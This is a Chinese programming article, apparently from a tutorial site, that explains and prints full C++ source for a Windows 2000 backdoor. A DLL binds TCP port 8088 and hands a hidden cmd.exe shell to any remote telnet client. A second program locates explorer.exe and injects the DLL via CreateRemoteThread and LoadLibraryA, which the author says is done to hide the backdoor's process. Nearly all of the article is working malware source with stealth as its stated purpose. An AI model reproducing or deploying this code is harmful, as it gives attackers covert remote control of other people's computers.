WINDOWS2000下一个简单的后门实现

类别:VC语言 点击:0 评论:0 推荐:

不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。
下面我给出类似这个工具的Source code,我这个工具和ncx99.exe有点不一样,用到了远程线程插入技术,将ncx99.exe功能封装在一个DLL里,然后将DLL插入到explorer.exe进程里,使得程序运行后无进程,增强了隐蔽性。

先给出DLL的Source code:


// test.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include 

#define iport 8088

 

static void WINAPI ThreadProc(void* pVoid)
{
WSADATA wsa;
SOCKET serverFD;
char Buff[1024];


WSAStartup(MAKEWORD(2,2),&wsa);//初始化WinSock

serverFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(iport);
server.sin_addr.s_addr=ADDR_ANY;
int ret=bind(serverFD,(sockaddr *)&server,sizeof(server));
ret=listen(serverFD,4);
int iAddrSize = sizeof(server);

re: SOCKET clientFD=accept(serverFD,(sockaddr *)&server,&iAddrSize);//每次操作完成连接断开后程序
//返回这里继续阻塞,等待客户端连接

SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDeor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和cmd.exe的输入输出关联


unsigned long lBytesRead;

while(1) 
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);//管道是否有数据可读
if(lBytesRead) 
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);//读取管道里的数据
if(!ret)
break;
ret=send(clientFD,Buff,lBytesRead,0);//将cmd.exe的输出通过socket发送到客户端
if(ret<=0) 
break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);//将socket数据读出
if(lBytesRead<=0)
break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//将接收到的客户端输入写进管道作为cmd.exe输入
send(clientFD,Buff,lBytesRead,0);
if(!ret) break;
}
} 
goto re;

return;
}

 

HANDLE hThreadHandle = NULL; 
HANDLE HT=NULL;


BOOL APIENTRY DllMain( HANDLE hModule, 
DWORD fdwReason, 
LPVOID lpReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH://首次装载DLL,创建一线程
{
DWORD dwThreadID;
hThreadHandle = CreateThread(NULL, 0, (unsigned long (__stdcall *)(void *))ThreadProc, NULL, 0, &dwThreadID);
}
break;
case DLL_PROCESS_DETACH:
{

if(hThreadHandle)
TerminateThread(hThreadHandle,0);
}

break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
} 
return TRUE;
}


/******************************************************************/

接下来是插入DLL到explorer.exe进程里的代码,要将DLL插入到explorer进程里,首先要得到这个进程的ID,下面是取得进程ID的代码:
DWORD CInsertDlg::GetProcessId()//获取explorer.exe进程的ID
{
DWORD Pid=-1;
HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//创建系统快照
PROCESSENTRY32 lPrs;
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=sizeof(lPrs);
Process32First(hSnap,&lPrs);//取得系统快照里第一个进程信息
if (strstr(targetFile,lPrs.szExeFile))//判断进程信息是否是explorer.exe
{
Pid=lPrs.th32ProcessID;
return Pid;
}

while(1)
{
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=(&lPrs,sizeof(lPrs));
if (!Process32Next(hSnap,&lPrs))//继续枚举进程信息
{
Pid=-1;
break;
}
if (strstr(targetFile,lPrs.szExeFile))
{
Pid=lPrs.th32ProcessID;
break;
}
}

return Pid;

}


/***************************************************************/
得到进程的ID后,就可以执行进程插入:


void CInsertDlg::OnButton1() 
{
// TODO: Add your control notification handler code here
DWORD Pid=-1;
Pid=GetProcessId();//得到进程ID

if (Insert(Pid))//执行远程进程注入
{
::MessageBox(NULL,"Insert the dll to target process is success!","Insert",MB_ICONINFORMATION);
}
else
{
::MessageBox(NULL,"Insert the dll to target process if failed!","Insert",MB_ICONINFORMATION);
}
}

BOOL CInsertDlg::Insert(DWORD dwProcessId)

{

HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);//得到对目标进程操作的所有权限

if (hProcess==NULL)
{
return FALSE;
}

char szModulePath[MAX_PATH];
GetModuleFileName(NULL,szModulePath,MAX_PATH);
PathRemoveFileSpec(szModulePath);
CString strModlePath = _T(szModulePath);
if(strModlePath[strModlePath.GetLength() - 1] != '\\')strModlePath += _T('\\'); 
strModlePath += _T("test.dll");//获取DLL路径


//为DLL路径分配内存空间
LPVOID RemoteMemory = VirtualAllocEx(hProcess,NULL,strModlePath.GetLength() + 1,MEM_COMMIT,PAGE_READWRITE); 

if (RemoteMemory==NULL)
{
return FALSE;
}


//将DLL路径写入目标进程的分配的内存
if (!WriteProcessMemory(hProcess,RemoteMemory,(void *)(LPCTSTR)strModlePath,strModlePath.GetLength() + 1,NULL))
{
return FALSE;
}

//得到LoadLibraryA函数的指针
PTHREAD_START_ROUTINE pfn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");

if (pfn==NULL)
{
return FALSE;
}


//在远程进程里创建线程
HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,pfn,RemoteMemory,0,NULL);

if (hThread==NULL)
{
return FALSE;
}

WaitForSingleObject(hThread,INFINITE);//等待线程的返回

VirtualFreeEx(hProcess,RemoteMemory,0,MEM_RELEASE);//释放内存
CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}


参考资料:
《WINDOWS核心编程》
MSDN

 

本文地址:http://com.8s8s.com/it/it1240.htm